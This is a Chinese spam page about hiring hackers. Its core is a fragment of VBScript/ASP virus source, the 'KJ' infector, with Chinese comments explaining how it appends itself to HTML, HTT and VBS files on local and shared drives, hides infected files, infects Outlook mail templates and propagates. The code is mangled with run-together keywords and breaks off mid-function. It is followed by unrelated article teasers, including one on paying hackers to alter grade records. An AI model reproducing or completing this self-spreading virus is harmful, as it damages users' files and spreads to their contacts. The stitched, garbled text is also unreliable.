想找一个黑客 去哪里找-天涯黑客朽木(黑天涯论坛的黑客)

访客4年前黑客文章860

<%
DimInWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk

SubKJ_start()
'初始化变量
K *** etDim()
'初始化环境
KJCreateMilieu()
'感染本地或者共享上与html所在目录
KJLikeIt()
'通过vbs感染Outlook邮件模板
KJCreateMail()
'进行病毒传播
KJPropagate()
EndSub

'函数:KJAppendTo(FilePath,TypeStr)
'功能:向指定类型的指定文件追加病毒
'参数:
'FilePath指定文件路径
'TypeStr指定类型

FunctionKJAppendTo(FilePath,TypeStr)
OnErrorResumeNext
'以只读方式打开指定文件
SetReadTemp=FSO.OpenTextFile(FilePath,1)
'将文件内容读入到TmpStr变量中
TmpStr=ReadTemp.ReadAll
'判断文件中是否存在KJ_start()字符串,若存在说明已经感染,退出函数;
'若文件长度小于1,也退出函数。
IfInStr(TmpStr,KJ_start())<>0OrLen(TmpStr)<1Then
ReadTemp.Close
ExitFunction
EndIf
'如果传过来的类型是htt
'在文件头加上调用页面的时候加载KJ_start()函数;
'在文件尾追加html版本的加密病毒体。
'如果是html
'在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体;
'如果是vbs
'在文件尾追加vbs版本的病毒体
IfTypeStr=httThen
ReadTemp.Close
SetFileTemp=FSO.OpenTextFile(FilePath,2)
FileTemp.Write<&BODYonload=
&vbscript:&KJ_start()&>&vbCrLf&TmpStr&vbCrLf&HtmlText
FileTemp.Close
SetFAttrib=FSO.GetFile(FilePath)
FAttrib.Attributes=34
Else
ReadTemp.Close
SetFileTemp=FSO.OpenTextFile(FilePath,8)
IfTypeStr=htmlThen
FileTemp.WritevbCrLf&<&HTML>&vbCrLf&<
&BODYonload=&vbscript:&KJ_start()&>&vbCrLf&HtmlText
ElseIfTypeStr=vbsThen
FileTemp.WritevbCrLf&VbsText
EndIf
FileTemp.Close
EndIf
EndFunction

'函数:KJChangeSub(CurrentString,LastIndexChar)
'功能:改变子目录以及盘符
'参数:
'CurrentString当前目录
'LastIndexChar上一级目录在当前路径中的位置

FunctionKJChangeSub(CurrentString,LastIndexChar)
'判断是否是根目录
IfLastIndexChar=0Then
'如果是根目录
'如果是C:\,返回FinalyDisk盘,并将SubE置为0,
'如果不是C:\,返回将当前盘符递减1,并将SubE置为0
IfLeft(LCase(CurrentString),1)=
KJChangeSub=FinalyDisk&:\

相关文章

u盘写保护怎么格式化?(u盘写保护无法格式化怎么办)

  u盘在平常,便是用于存储一些临时性的文档,急需的文档,可是近期有客户体现,在应用U盘时,发觉u盘无缘无故地就被维护了,读写能力不成功,不可以恢复出厂设置的状况,这该怎么解决呢?沒有处理,U盘也不可...

win7仿苹果系统桌面方法 win7怎么仿苹果电脑桌面

有很多用户为了让自己的电脑跟别人不一样,想把电脑设置成唯一的系统,就比如说把win7系统桌面仿做成苹果系统的桌面,那么win7怎么仿苹果电脑桌面呢,要制作的话是需要第三方软件的,下面小编给大家分享...

李小璐的闺蜜有哪些-李小璐闺蜜团都有谁

娱乐圈就是一个大圈子,大圈里面还有着无数的小团队,而娱乐圈的人情冷暖在这些小团队中也展现的淋漓尽致。今天李小璐送闺蜜花上了热搜,不少网友在问李小璐的闺蜜有哪些?这就不得不提大名鼎鼎的泰迪姐妹团,泰迪姐...

找黑客改成就(有人找过黑客改成就)

这小我私家他的实力是不容置疑的所以在网上找黑客改数据库中的成就,也是可行的.为什么呢你的成就就只有在系统数据库上有,和试卷上有.大学四年下。 有的学生,甚是在网上找人改教务系统里的数据库成就,并且说这...

300万人次在线!今夜这场直播,许多山东人泪流满面

300万人次在线!今夜这场直播,许多山东人泪流满面

2月22日晚19时,由齐鲁晚报•齐鲁壹点发起的“点亮齐鲁——战疫集结号”公益直播,在山东16市准时拉开帷幕。包括济南绿地中心、青岛五四广场等16市的地标建筑,同时为湖北,为祖国点亮。 300多万网友...

开一家现卤鸭脖,一天能赚多少钱。扁嘴客陪你一起算个账

相信很多人都有自己投资的想法,但是投资什么行业,以及具体怎么去操作成了这些理想人的一大障碍。其实投资什么主要看你自己的一个喜好,只有自身的一个兴趣爱好才能支撑你更努力更坚持的去做。其次,创业嘛就是为了...